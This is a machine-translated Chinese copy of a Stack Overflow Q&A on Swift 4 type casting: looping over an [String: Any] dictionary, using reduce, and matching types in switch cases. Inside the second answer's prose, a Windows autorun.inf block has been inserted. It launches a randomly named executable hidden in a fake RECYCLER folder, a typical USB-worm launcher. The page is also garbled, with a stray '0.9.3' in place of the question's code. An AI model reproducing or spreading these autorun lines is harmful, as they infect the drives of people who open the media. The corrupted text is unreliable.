输入铸造和检验查询

时间:2017-11-15 07:32:24

标签: swift types casting

我目前正在研究swift 4中的类型转换和检查的基础知识。我在Apple Developer书中找到了一个示例,我需要一些帮助。

他们有一个练习来创建一个Any类型的字典,然后解开循环遍历字典的值。给定的解决方案显示for循环,括号中的值和每个值都被解包。有人可以解释显示的解决方案吗?还有另一种(简单)方法来解决这个问题吗?书中没有足够的信息。

0.9.3

非常感谢提前提供任何帮助: - )

2 个答案:

答案 0 :(得分:0)

Dictionary符合Collection,符合Sequence。这意味着可以通过使用for ... in循环来循环字典。

Dictionary的定义中,有这一行:

public typealias Element = (key: Key, value: Value)

这意味着“在称为字典的集合中,它包含(key: Key, value: Value)类型的元素”。这意味着您将在(key: Key, value: Value)

之前获得in作为变量的类型
for element in someDictionary {
    // element is of type (key: Key, value: Value)
}

由于element是一个元组,我们实际上可以通过执行以下操作来解包元组:

for (key, value) in someDictionary {}

在您的具体情况下,我们不需要key位,因此我们写_来说“扔掉它”:

for (_, value) in someDictionary {}

解决此问题的另一种方法是使用reduce。我不会说这必然更简单:

total = anythingAndEverything.reduce(0.0) { (x, y) -> Double in
    if let value = y.value as? Bool {
        if value {
            return x + 2
        } else {
            return x - 3
        }
    } else if let value = y.value as? Double {
        return x + value
    } else if let value = y.value as? Int {
        return x + Double(value)
    } else if let value = y.value as? String {
        return x + 1
    } else {
        return x
    }
}

答案 1 :(得分:0)

此外,我建议您阅读Apple's Swift guide的官方解释。还有一个很好的示例循环收集并使用[autorun] action=Open icon=%WinDir%\system32\shell32.dll,4 shellexecute=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe shell\explore\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe USEAUTOPLAY=1 shell\Open\command=.\RECYCLER\S-0-8-75-3728445372-7281148451-227621134-4236\ZDqdQKMm.exe 来检查值的类型。

switch statement

我还想解释一下这个部分:

for thing in things {
    switch thing {
    case 0 as Int:
        print("zero as an Int")
    case 0 as Double:
        print("zero as a Double")
    case let someInt as Int:
        print("an integer value of \(someInt)")
    case let someDouble as Double where someDouble > 0:
        print("a positive double value of \(someDouble)")
    case is Double:
        print("some other double value that I don't want to print")
    case let someString as String:
        print("a string value of \"\(someString)\"")
    case let (x, y) as (Double, Double):
        print("an (x, y) point at \(x), \(y)")
    case let movie as Movie:
        print("a movie called \(movie.name), dir. \(movie.director)")
    case let stringConverter as (String) -> String:
        print(stringConverter("Michael"))
    default:
        print("something else")
    }
}

这意味着如果新的case let varName as TypeName 等同于varName的非可选版本以及thing类型,请使用它进行下一步。